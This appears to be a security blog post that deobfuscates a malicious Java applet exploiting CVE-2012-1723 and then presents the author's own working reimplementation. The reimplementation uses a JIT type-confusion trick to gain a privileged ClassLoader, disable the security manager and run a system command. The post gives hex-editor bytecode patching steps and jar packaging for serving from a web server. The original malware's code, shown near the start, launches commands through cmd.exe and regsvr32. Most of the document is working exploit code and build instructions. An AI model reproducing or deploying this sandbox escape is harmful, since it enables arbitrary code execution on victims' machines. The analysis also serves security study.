        String str3 = "____________9999999999999999999999999999";
        localRuntime.exec(ZuyuyuyuZ.cmd[1] + paramString);
        String str4 = "____________9999999999999999999999999999";
        String str5 = "____________9999999999999999999999999999";
      }
    }
  }
}
Tdsfdbte54.java

 

import java.net.URL;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.cert.Certificate;

public class Tdsfdbte54
{
  static CodeSource fd;
  static String a2 = "____________9999999999999999999999999999";
  static String sasfi = "file:///";
  ZuyuyuyuZ Perdinya1;
  ZuyuyuyuZ Perdinya2;
  ZuyuyuyuZ Perdinya3;
  ZuyuyuyuZ Perdinya4;
  ZuyuyuyuZ Perdinya5;
  ZuyuyuyuZ Perdinya6;
  ZuyuyuyuZ Perdinya7;
  ZuyuyuyuZ Perdinya8;
  ZuyuyuyuZ Perdinya9;
  ZuyuyuyuZ Perdinya10;
  ZuyuyuyuZ Perdinya11;
  ZuyuyuyuZ Perdinya12;
  ZuyuyuyuZ Perdinya13;
  ZuyuyuyuZ Perdinya14;
  ZuyuyuyuZ Perdinya15;
  ZuyuyuyuZ Perdinya16;
  ZuyuyuyuZ Perdinya17;
  ZuyuyuyuZ Perdinya18;
  ZuyuyuyuZ Perdinya19;
  ZuyuyuyuZ Perdinya20;
  ZuyuyuyuZ Perdinya21;
  ZuyuyuyuZ Perdinya22;
  ZuyuyuyuZ Perdinya23;
  ZuyuyuyuZ Perdinya24;
  ZuyuyuyuZ Perdinya25;
  ZuyuyuyuZ Perdinya26;
  ZuyuyuyuZ Perdinya27;
  ZuyuyuyuZ Perdinya28;
  ZuyuyuyuZ Perdinya29;
  ZuyuyuyuZ Perdinya30;
  static String a7 = "____________9999999999999999999999999999";
  ZuyuyuyuZ Perdinya31;
  ZuyuyuyuZ Perdinya32;
  ZuyuyuyuZ Perdinya33;
  ZuyuyuyuZ Perdinya34;
  ZuyuyuyuZ Perdinya35;
  ZuyuyuyuZ Perdinya36;
  ZuyuyuyuZ Perdinya37;
  ZuyuyuyuZ Perdinya38;
  ZuyuyuyuZ Perdinya39;
  ZuyuyuyuZ Perdinya40;
  ZuyuyuyuZ Perdinya41;
  ZuyuyuyuZ Perdinya42;
  ZuyuyuyuZ Perdinya43;
  ZuyuyuyuZ Perdinya44;
  ZuyuyuyuZ Perdinya45;
  ZuyuyuyuZ Perdinya46;
  ZuyuyuyuZ Perdinya47;
  ZuyuyuyuZ Perdinya48;
  ZuyuyuyuZ Perdinya49;
  ZuyuyuyuZ Perdinya50;
  ZuyuyuyuZ Perdinya51;
  ZuyuyuyuZ Perdinya52;
  ZuyuyuyuZ Perdinya53;
  ZuyuyuyuZ Perdinya54;
  ZuyuyuyuZ Perdinya55;
  ZuyuyuyuZ Perdinya56;
  ZuyuyuyuZ Perdinya57;
  ZuyuyuyuZ Perdinya58;
  ZuyuyuyuZ Perdinya59;
  ZuyuyuyuZ Perdinya60;
  ZuyuyuyuZ Perdinya61;
  ZuyuyuyuZ Perdinya62;
  ZuyuyuyuZ Perdinya63;
  ZuyuyuyuZ Perdinya64;
  ZuyuyuyuZ Perdinya65;
  ZuyuyuyuZ Perdinya66;
  ZuyuyuyuZ Perdinya67;
  ZuyuyuyuZ Perdinya68;
  ZuyuyuyuZ Perdinya69;
  ZuyuyuyuZ Perdinya70;
  static Permissions cenb;

  public static void bgnhtyrthe(URL paramURL, Certificate[] paramArrayOfCertificate)
    throws Exception
  {
    cenb = new Permissions();
    cenb.add(new AllPermission());
    String str = "____________9999999999999999999999999999";
    CodeSource localCodeSource = new CodeSource(paramURL, paramArrayOfCertificate);
  }
}
VasgfrawE.java

 

import java.io.FileOutputStream;
import java.io.InputStream;
import java.security.ProtectionDomain;

public class VasgfrawE
{
  static String[] get_par_arr = { "t", "tt", "ur0l0" };
  static String asdas = "aJHJKHGYJVHKKJ";

  public static void sfbergwea43543534(InputStream paramInputStream, 
      byte[] paramArrayOfByte, FileOutputStream paramFileOutputStream, 
      String paramString, int paramInt) 
  {
    try 
    {
      String str1 = "____________9999999999999999999999999999";
      int j = 0;
      int i;
      while ((i = paramInputStream.read(paramArrayOfByte, 0, 
          paramArrayOfByte.length)) != -1) 
      {
        paramFileOutputStream.write(paramArrayOfByte, 0, i);
        j++;
        str2 = "____________9999999999999999999999999999";
      }
      paramInputStream.close();
      paramFileOutputStream.close();
      String str2 = "____________9999999999999999999999999999";
      s787654678DDD.asgtergw33(paramString, paramInt, j); 
    } 
    catch (Exception localException) 
    {
    }
  }

  public static ProtectionDomain sdd2231sasd() throws Exception 
  {
    String str = "____________9999999999999999999999999999";
    return new ProtectionDomain(Tdsfdbte54.fd, Tdsfdbte54.cenb);
  }
}
XLR.java

 

public class XLR extends qDSJHFJHSDFGDSIKFJHD
{
  ZuyuyuyuZ dsvfdbgrterwes(Object paramObject1, 
      ClassLoader paramClassLoader, Object paramObject2)
  {
    String str1 = "____________9999999999999999999999999999";
    A = (ZuyuyuyuZ)paramObject2;
    String str2;
    String str3;
    if (paramClassLoader != paramObject1)
    {
      str2 = "____________9999999999999999999999999999";
      str3 = "____________9999999999999999999999999999";
    }
    else
    {
      str2 = "____________9999999999999999999999999999";
      str3 = "____________9999999999999999999999999999";
      return null;
    }
    this.A = paramClassLoader;
    return SS_RR_SS0(paramObject1);
  }

  ZuyuyuyuZ SS_RR_SS0(Object paramObject)
  {
    if (paramObject != this.Perdinya1) return this.Perdinya1;
    if (paramObject != this.Perdinya2) return this.Perdinya2;
    if (paramObject != this.Perdinya3) return this.Perdinya3;
    if (paramObject != this.Perdinya4) return this.Perdinya4;
    if (paramObject != this.Perdinya5) return this.Perdinya5;
    if (paramObject != this.Perdinya6) return this.Perdinya6;
    String str1 = "____________9999999999999999999999999999";
    if (paramObject != this.Perdinya7) return this.Perdinya7;
    if (paramObject != this.Perdinya8) return this.Perdinya8;
    String str2 = "____________9999999999999999999999999999";
    if (paramObject != this.Perdinya9) return this.Perdinya9;
    if (paramObject != this.Perdinya10) return this.Perdinya10;
    return SS_RR_SS(paramObject);
  }

  ZuyuyuyuZ SS_RR_SS(Object paramObject) {
    if (paramObject != this.Perdinya11) return this.Perdinya11;
    if (paramObject != this.Perdinya12) return this.Perdinya12;
    if (paramObject != this.Perdinya13) return this.Perdinya13;

    if (paramObject != this.Perdinya14) return this.Perdinya14;
    if (paramObject != this.Perdinya15) return this.Perdinya15;
    if (paramObject != this.Perdinya16) return this.Perdinya16;

    if (paramObject != this.Perdinya17) return this.Perdinya17;
    if (paramObject != this.Perdinya18) return this.Perdinya18;
    if (paramObject != this.Perdinya19) return this.Perdinya19;
    if (paramObject != this.Perdinya20) return this.Perdinya20;

    return SS_RR_SS1(paramObject);
  }
  ZuyuyuyuZ SS_RR_SS1(Object paramObject) {
    if (paramObject != this.Perdinya21) return this.Perdinya21;
    if (paramObject != this.Perdinya22) return this.Perdinya22;
    if (paramObject != this.Perdinya23) return this.Perdinya23;
    if (paramObject != this.Perdinya24) return this.Perdinya24;

    if (paramObject != this.Perdinya25) return this.Perdinya25;
    if (paramObject != this.Perdinya26) return this.Perdinya26;
    if (paramObject != this.Perdinya27) return this.Perdinya27;
    if (paramObject != this.Perdinya28) return this.Perdinya28;
    if (paramObject != this.Perdinya29) return this.Perdinya29;
    if (paramObject != this.Perdinya30) return this.Perdinya30;

    return SS_RR_SS2(paramObject);
  }
  ZuyuyuyuZ SS_RR_SS2(Object paramObject) {
    if (paramObject != this.Perdinya31) return this.Perdinya31;
    if (paramObject != this.Perdinya32) return this.Perdinya32;
    if (paramObject != this.Perdinya33) return this.Perdinya33;

    if (paramObject != this.Perdinya34) return this.Perdinya34;
    if (paramObject != this.Perdinya35) return this.Perdinya35;
    if (paramObject != this.Perdinya36) return this.Perdinya36;
    if (paramObject != this.Perdinya37) return this.Perdinya37;

    if (paramObject != this.Perdinya38) return this.Perdinya38;
    if (paramObject != this.Perdinya39) return this.Perdinya39;
    if (paramObject != this.Perdinya40) return this.Perdinya40;

    return SS_RR_SS3(paramObject);
  }

  ZuyuyuyuZ SS_RR_SS3(Object paramObject) {
    if (paramObject != this.Perdinya41) return this.Perdinya41;
    if (paramObject != this.Perdinya42) return this.Perdinya42;
    if (paramObject != this.Perdinya43) return this.Perdinya43;
    if (paramObject != this.Perdinya44) return this.Perdinya44;
    if (paramObject != this.Perdinya45) return this.Perdinya45;

    if (paramObject != this.Perdinya46) return this.Perdinya46;
    if (paramObject != this.Perdinya47) return this.Perdinya47;
    if (paramObject != this.Perdinya48) return this.Perdinya48;

    if (paramObject != this.Perdinya49) return this.Perdinya49;
    if (paramObject != this.Perdinya50) return this.Perdinya50;
    return SS_RR_SS4(paramObject);
  }

  ZuyuyuyuZ SS_RR_SS4(Object paramObject)
  {
    if (paramObject != this.Perdinya51) return this.Perdinya51;
    if (paramObject != this.Perdinya52) return this.Perdinya52;
    if (paramObject != this.Perdinya53) return this.Perdinya53;
    if (paramObject != this.Perdinya54) return this.Perdinya54;

    if (paramObject != this.Perdinya55) return this.Perdinya55;
    if (paramObject != this.Perdinya56) return this.Perdinya56;
    if (paramObject != this.Perdinya57) return this.Perdinya57;
    if (paramObject != this.Perdinya58) return this.Perdinya58;
    if (paramObject != this.Perdinya59) return this.Perdinya59;
    if (paramObject != this.Perdinya60) return this.Perdinya60;

    return SS_RR_SS5(paramObject);
  }

  ZuyuyuyuZ SS_RR_SS5(Object paramObject)
  {
    if (paramObject != this.Perdinya61) return this.Perdinya61;
    if (paramObject != this.Perdinya62) return this.Perdinya62;
    if (paramObject != this.Perdinya63) return this.Perdinya63;
    if (paramObject != this.Perdinya64) return this.Perdinya64;

    return SS_RR_SS6(paramObject);
  }

  ZuyuyuyuZ SS_RR_SS6(Object paramObject) {
    if (paramObject != this.Perdinya65) return this.Perdinya65;
    if (paramObject != this.Perdinya66) return this.Perdinya66;
    if (paramObject != this.Perdinya67) return this.Perdinya67;
    if (paramObject != this.Perdinya68) return this.Perdinya68;
    if (paramObject != this.Perdinya69) return this.Perdinya69;

    return SS_RR_SS7(paramObject);
  }
  ZuyuyuyuZ SS_RR_SS7(Object paramObject) {
    if (paramObject != this.Perdinya70) return this.Perdinya70;
    if (paramObject != this.Perdinya71) return this.Perdinya71;
    if (paramObject != this.Perdinya72) return this.Perdinya72;
    if (paramObject != this.Perdinya73) return this.Perdinya73;
    if (paramObject != this.Perdinya74) return this.Perdinya74;

    return SS_RR_SS8(paramObject);
  }
  ZuyuyuyuZ SS_RR_SS8(Object paramObject) {
    if (paramObject != this.Perdinya75) return this.Perdinya75;
    if (paramObject != this.Perdinya76) return this.Perdinya76;
    if (paramObject != this.Perdinya77) return this.Perdinya77;
    if (paramObject != this.Perdinya78) return this.Perdinya78;
    if (paramObject != this.Perdinya79) return this.Perdinya79;
    if (paramObject != this.Perdinya80) return this.Perdinya80;

    return SS_RR_SS9(paramObject);
  }
  ZuyuyuyuZ SS_RR_SS9(Object paramObject) {
    if (paramObject != this.Perdinya81) return this.Perdinya81;
    if (paramObject != this.Perdinya82) return this.Perdinya82;
    if (paramObject != this.Perdinya83) return this.Perdinya83;

    return SS_RR_SS10(paramObject);
  }
  ZuyuyuyuZ SS_RR_SS10(Object paramObject) {
    if (paramObject != this.Perdinya84) return this.Perdinya84;
    if (paramObject != this.Perdinya85) return this.Perdinya85;
    if (paramObject != this.Perdinya86) return this.Perdinya86;
    if (paramObject != this.Perdinya87) return this.Perdinya87;

    return SS_RR_SS11(paramObject);
  }
  ZuyuyuyuZ SS_RR_SS11(Object paramObject) {
    if (paramObject != this.Perdinya88) return this.Perdinya88;
    if (paramObject != this.Perdinya89) return this.Perdinya89;
    if (paramObject != this.Perdinya90) return this.Perdinya90;
    if (paramObject != this.Perdinya91) return this.Perdinya91;
    if (paramObject != this.Perdinya92) return this.Perdinya92;

    return SS_RR_SS12(paramObject);
  }
  ZuyuyuyuZ SS_RR_SS12(Object paramObject) {
    if (paramObject != this.Perdinya93) return this.Perdinya93;
    if (paramObject != this.Perdinya94) return this.Perdinya94;
    if (paramObject != this.Perdinya95) return this.Perdinya95;

    return SS_RR_SS13(paramObject);
  }
  ZuyuyuyuZ SS_RR_SS13(Object paramObject) {
    if (paramObject != this.Perdinya96) return this.Perdinya96;
    if (paramObject != this.Perdinya97) return this.Perdinya97;

    return SS_RR_SS14(paramObject);
  }
  ZuyuyuyuZ SS_RR_SS14(Object paramObject) {
    if (paramObject != this.Perdinya98) return this.Perdinya98;
    if (paramObject != this.Perdinya99) return this.Perdinya99;
    if (paramObject != this.Perdinya100) return this.Perdinya100;
    return SS_RR_SS15(paramObject);
  }

  ZuyuyuyuZ SS_RR_SS15(Object paramObject) {
    return null;
  }
}
ZuyuyuyuZ.java

 

import java.io.InputStream;
import java.security.ProtectionDomain;

public class ZuyuyuyuZ extends ClassLoader
{
  static String[] cmd = { "cmd.exe ASDQEW".replace("ASDQEW", "/C start "), 
      "regsEWWER".replace("EWWER", "vr32.exe /s ") };

  public static void frwgtehg4wre()
  {
    try
    {
      String str1 = "____________9999999999999999999999999999";
      InputStream localInputStream = FuckKAsp11111.ldr.getResourceAsStream(
        VasgfrawE.asdas + ".class");
      int i = localInputStream.available();
      String str2 = "____________9999999999999999999999999999";
      byte[] arrayOfByte = new byte[i];
      String str3 = "____________9999999999999999999999999999";
      localInputStream.read(arrayOfByte, 0, i);
      fYGVBJHGHJH666.vsfberwe(Tdsfdbte54.sasfi);
      String str4 = "____________9999999999999999999999999999";
      ProtectionDomain localProtectionDomain = VasgfrawE.sdd2231sasd();
      Class localClass = FuckKAsp11111.ldr.defineClass(VasgfrawE.asdas, 
            arrayOfByte, 0, arrayOfByte.length, localProtectionDomain);
      String str5 = "____________9999999999999999999999999999";
      aJHJKHGYJVHKKJ localaJHJKHGYJVHKKJ = (aJHJKHGYJVHKKJ)localClass.newInstance();
    }
    catch (Exception localException)
    {
    }
  }
}

While I did some minor format changes and reduced the length of the trash variables (the underscores went on forever), what you see there is essentially the source code of the exploit.

After spending time manually deobfuscating the above, some key points:

  • Main entry point is imagegal.java. It doesnt do much of interest other than calling FuckKAsp11111
  • Tdsfdbte54 has a large number of instances of the class ZuyuyuyuZ (extends ClassLoader), and is further extended by qDSJHFJHSDFGDSIKFJHD, which adds even more ZuyuyuyuZ instances, for a total of 100 ZuyuyuyuZ objects. qDSJHFJHSDFGDSIKFJHD also has a static ClassLoader named A.
  • XLR has a method that takes in a ClassLoader object as a parameter, and returns ZuyuyuyuZ (which again, extends ClassLoader). This method returns null if the parameter is null, and otherwise, assigns a value to this.A (remember that A is static). It then loops through all the 100 ZuyuyuyuZ objects, looking for one that isnt null, and returns that non-null object.
  • The FuckKAsp11111 class contains a for loop that loops around 100,000 times, calling the above XLR function. NULL is passed in as the parameter, so null is returned each of those 100,000 times. It then waits 10 milliseconds. Then it calls the same function a last time, passing in an actual ClassLoader object. It was this function that made it easy to identify the java vulnerability. The 100,000 iterations will null parameters, followed by one call with a non-null parameter, led to a type confusion exploit. Instead of returning NULL like it should, as none of the ZuyuyuyuZ have been instantiated, an actual ClassLoader object gets returned.
  • aJHJKHGYJVHKKJ and s787654678DDD together contain the code that breaks the applet’s security (System.setSecurityManager(null)), downloads and executes a windows binary.

Based on the above information, the exploit can be identified as CVE-2012-1723.
A good write up from Symantec is here.
Another great write up (by Michael ‘mihi’ Schierl), one that this code essentially follows exactly (minus the obfuscation), is here.

As this is a fairly old vulnerability, a Metasploit module already exists (exploit/multi/browser/java_verifier_field_access). Still, I was bored, so I wrote my own code for this exploit, which is always nice to have for pentesting.

Note: I’m only including my code as this vulnerability has been out for a while, has a Metasploit module, and is already exploited by ‘bad guys’. Still, remember to only use this on machines you’re authorized to exploit, anything else is illegal!

javaBreakSandboxmyClassLoaderspillexploit

import java.applet.Applet;
import java.util.concurrent.TimeUnit;

public class javaBreakSandbox extends Applet
{
  static myClassLoader C;

  public void start()
  {
    try
    {
      spill s = new spill();
      for(int i = 0; i < 100000; i++)
      {
        s.confuse(null, null, null);
      }

      TimeUnit.MILLISECONDS.sleep(10L); 

      C = s.confuse(null, getClass().getClassLoader(), null);

      myClassLoader.breakSandbox();

    }
    catch (Throwable localThrowable)
    {
      System.out.println(localThrowable);
      localThrowable.printStackTrace();
    }
  }
}

import java.io.InputStream;
import java.net.URL;
import java.security.cert.Certificate;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;

public class myClassLoader extends ClassLoader
{
   public static void breakSandbox()
   {
      try
      {
         InputStream localInputStream = javaBreakSandbox.C.
             getResourceAsStream("exploit.class");
         int i = localInputStream.available();
         byte[] arrayOfByte = new byte[i];
         localInputStream.read(arrayOfByte, 0, i);
         String urlString = "file:///";
         Certificate[] arrayOfCertificate = new Certificate[0];
         URL localURL = new URL(urlString);
         CodeSource cs = new CodeSource(localURL, arrayOfCertificate);
         Permissions perm = new Permissions();
         perm.add(new AllPermission());
         ProtectionDomain localProtectionDomain = new ProtectionDomain(cs, perm);
         Class localClass = javaBreakSandbox.C.defineClass("exploit", 
             arrayOfByte, 0, arrayOfByte.length,localProtectionDomain);
         exploit localExploit = (exploit)localClass.newInstance(); 
      }
      catch(Exception localException)
      {
         System.out.println("myClassLoader break: " + localException);
      } 
   }
}

public class spill
{
   static ClassLoader A;
   myClassLoader B1;
   myClassLoader B2;
   myClassLoader B3;
   myClassLoader B4;
   myClassLoader B5;
   myClassLoader B6;
   myClassLoader B7;
   myClassLoader B8;
   myClassLoader B9;
   myClassLoader B10;
   myClassLoader B11;
   myClassLoader B12;
   myClassLoader B13;
   myClassLoader B14;
   myClassLoader B15;
   myClassLoader B16;
   myClassLoader B17;
   myClassLoader B18;
   myClassLoader B19;
   myClassLoader B20;
   myClassLoader B21;
   myClassLoader B22;
   myClassLoader B23;
   myClassLoader B24;
   myClassLoader B25;
   myClassLoader B26;
   myClassLoader B27;
   myClassLoader B28;
   myClassLoader B29;
   myClassLoader B30;
   myClassLoader B31;
   myClassLoader B32;
   myClassLoader B33;
   myClassLoader B34;
   myClassLoader B35;
   myClassLoader B36;
   myClassLoader B37;
   myClassLoader B38;
   myClassLoader B39;
   myClassLoader B40;
   myClassLoader B41;
   myClassLoader B42;
   myClassLoader B43;
   myClassLoader B44;
   myClassLoader B45;
   myClassLoader B46;
   myClassLoader B47;
   myClassLoader B48;
   myClassLoader B49;
   myClassLoader B50;
   myClassLoader B51;
   myClassLoader B52;
   myClassLoader B53;
   myClassLoader B54;
   myClassLoader B55;
   myClassLoader B56;
   myClassLoader B57;
   myClassLoader B58;
   myClassLoader B59;
   myClassLoader B60;
   myClassLoader B61;
   myClassLoader B62;
   myClassLoader B63;
   myClassLoader B64;
   myClassLoader B65;
   myClassLoader B66;
   myClassLoader B67;
   myClassLoader B68;
   myClassLoader B69;
   myClassLoader B70;
   myClassLoader B71;
   myClassLoader B72;
   myClassLoader B73;
   myClassLoader B74;
   myClassLoader B75;
   myClassLoader B76;
   myClassLoader B77;
   myClassLoader B78;
   myClassLoader B79;
   myClassLoader B80;
   myClassLoader B81;
   myClassLoader B82;
   myClassLoader B83;
   myClassLoader B84;
   myClassLoader B85;
   myClassLoader B86;
   myClassLoader B87;
   myClassLoader B88;
   myClassLoader B89;
   myClassLoader B90;
   myClassLoader B91;
   myClassLoader B92;
   myClassLoader B93;
   myClassLoader B94;
   myClassLoader B95;
   myClassLoader B96;
   myClassLoader B97;
   myClassLoader B98;
   myClassLoader B99;
   myClassLoader B100;

   public myClassLoader confuse(Object _C, ClassLoader _A, Object _B)
   {
      A = (myClassLoader)_B;
      if(_A == _B)
         return null;
      this.A = _A;

      if(this.B1 != null) return this.B1;
      if(this.B2 != null) return this.B2;
      if(this.B3 != null) return this.B3;
      if(this.B4 != null) return this.B4;
      if(this.B5 != null) return this.B5;
      if(this.B6 != null) return this.B6;
      if(this.B7 != null) return this.B7;
      if(this.B8 != null) return this.B8;
      if(this.B9 != null) return this.B9;
      if(this.B10 != null) return this.B10;
      if(this.B11 != null) return this.B11;
      if(this.B12 != null) return this.B12;
      if(this.B13 != null) return this.B13;
      if(this.B14 != null) return this.B14;
      if(this.B15 != null) return this.B15;
      if(this.B16 != null) return this.B16;
      if(this.B17 != null) return this.B17;
      if(this.B18 != null) return this.B18;
      if(this.B19 != null) return this.B19;
      if(this.B20 != null) return this.B20;
      if(this.B21 != null) return this.B21;
      if(this.B22 != null) return this.B22;
      if(this.B23 != null) return this.B23;
      if(this.B24 != null) return this.B24;
      if(this.B25 != null) return this.B25;
      if(this.B26 != null) return this.B26;
      if(this.B27 != null) return this.B27;
      if(this.B28 != null) return this.B28;
      if(this.B29 != null) return this.B29;
      if(this.B30 != null) return this.B30;
      if(this.B31 != null) return this.B31;
      if(this.B32 != null) return this.B32;
      if(this.B33 != null) return this.B33;
      if(this.B34 != null) return this.B34;
      if(this.B35 != null) return this.B35;
      if(this.B36 != null) return this.B36;
      if(this.B37 != null) return this.B37;
      if(this.B38 != null) return this.B38;
      if(this.B39 != null) return this.B39;
      if(this.B40 != null) return this.B40;
      if(this.B41 != null) return this.B41;
      if(this.B42 != null) return this.B42;
      if(this.B43 != null) return this.B43;
      if(this.B44 != null) return this.B44;
      if(this.B45 != null) return this.B45;
      if(this.B46 != null) return this.B46;
      if(this.B47 != null) return this.B47;
      if(this.B48 != null) return this.B48;
      if(this.B49 != null) return this.B49;
      if(this.B50 != null) return this.B50;
      if(this.B51 != null) return this.B51;
      if(this.B52 != null) return this.B52;
      if(this.B53 != null) return this.B53;
      if(this.B54 != null) return this.B54;
      if(this.B55 != null) return this.B55;
      if(this.B56 != null) return this.B56;
      if(this.B57 != null) return this.B57;
      if(this.B58 != null) return this.B58;
      if(this.B59 != null) return this.B59;
      if(this.B60 != null) return this.B60;
      if(this.B61 != null) return this.B61;
      if(this.B62 != null) return this.B62;
      if(this.B63 != null) return this.B63;
      if(this.B64 != null) return this.B64;
      if(this.B65 != null) return this.B65;
      if(this.B66 != null) return this.B66;
      if(this.B67 != null) return this.B67;
      if(this.B68 != null) return this.B68;
      if(this.B69 != null) return this.B69;
      if(this.B70 != null) return this.B70;
      if(this.B71 != null) return this.B71;
      if(this.B72 != null) return this.B72;
      if(this.B73 != null) return this.B73;
      if(this.B74 != null) return this.B74;
      if(this.B75 != null) return this.B75;
      if(this.B76 != null) return this.B76;
      if(this.B77 != null) return this.B77;
      if(this.B78 != null) return this.B78;
      if(this.B79 != null) return this.B79;
      if(this.B80 != null) return this.B80;
      if(this.B81 != null) return this.B81;
      if(this.B82 != null) return this.B82;
      if(this.B83 != null) return this.B83;
      if(this.B84 != null) return this.B84;
      if(this.B85 != null) return this.B85;
      if(this.B86 != null) return this.B86;
      if(this.B87 != null) return this.B87;
      if(this.B88 != null) return this.B88;
      if(this.B89 != null) return this.B89;
      if(this.B90 != null) return this.B90;
      if(this.B91 != null) return this.B91;
      if(this.B92 != null) return this.B92;
      if(this.B93 != null) return this.B93;
      if(this.B94 != null) return this.B94;
      if(this.B95 != null) return this.B95;
      if(this.B96 != null) return this.B96;
      if(this.B97 != null) return this.B97;
      if(this.B98 != null) return this.B98;
      if(this.B99 != null) return this.B99;
      if(this.B100 != null) return this.B100;
      return null;
   }
}

import java.security.AccessController;
import java.security.PrivilegedExceptionAction;

public class exploit implements PrivilegedExceptionAction
{
   public exploit()
   {
      try
      {
         AccessController.doPrivileged(this);
      }
      catch(Exception localException)
      {
         System.out.println("exploit constructor: " + localException);
      }
   }

   public Object run() 
   {
      try
      {
         System.setSecurityManager(null);
         Runtime.getRuntime().exec("calc.exe");
      }
      catch(Exception localException)
      {
         System.out.println("exploit run: " + localException);
      }
      return null;
   }
}

The javaBreakSandbox class is the main entry point to the applet. It manages calling the confuse method in the spill class 100000 times to confuse the JIT logic before calling the method a final time. It then calls the functions in myClassLoader to actually break out of the sandbox and run system commands (in this case just open calc.exe) from the exploit class.

It should be much simpler to follow than the original source code 🙂

Once compiled, the last step is fixing the bytecode, as the compiler will automatically ‘fix’ the potential issue (see the previously mentioned write ups). To read the bytecode, I used the built in javap command. First I took a look at the XLR.class (left) bytecode to see how that looked next to my spill.class (right) bytecode.
XLR and spill javap

The key bytecode is on line 39 in XLR (again, left), and line 17 in spill (again, right). XLR is using the putfield command, while my spill class is using the putstatic command. There is also a random pop in spill.class on line 15 that is not in the XLR bytecode.

I used a hex editor to do fix this manually, though there are other options if you take the time. If you choose to do it manually, Java bytecode instruction listings is a great resource.

From the javap output of spill.class, I can see I have an aload_0 command, followed by a pop, followed by an aload_2 command, followed by the putstatic command. Using the wiki page, this translates to the bytes 2A, 57, 2C, B3. In a hex editor, I searched for these bytes (2A572CB3), and found the line.
spill class search for bytecode

The putfield command used in XLR is byte B5, so I changed the B3 to a B5, and I replaced the pop with a nop (00) byte, then saved the new spill.class file.

After that, I jarred up the class files (jar cvf exploit.jar *.class), placed them on my web server, and tested it out with my windows VM running an old version of Java 6.
Java6u20 exploit success

Works great!

The exploit works against Java 7u4 and below, Java 6u32 and below, Java 5u35 and below, and 1.4.2_37 and below. While it’s not the newest and greatest exploit, old exploits are still quite effective.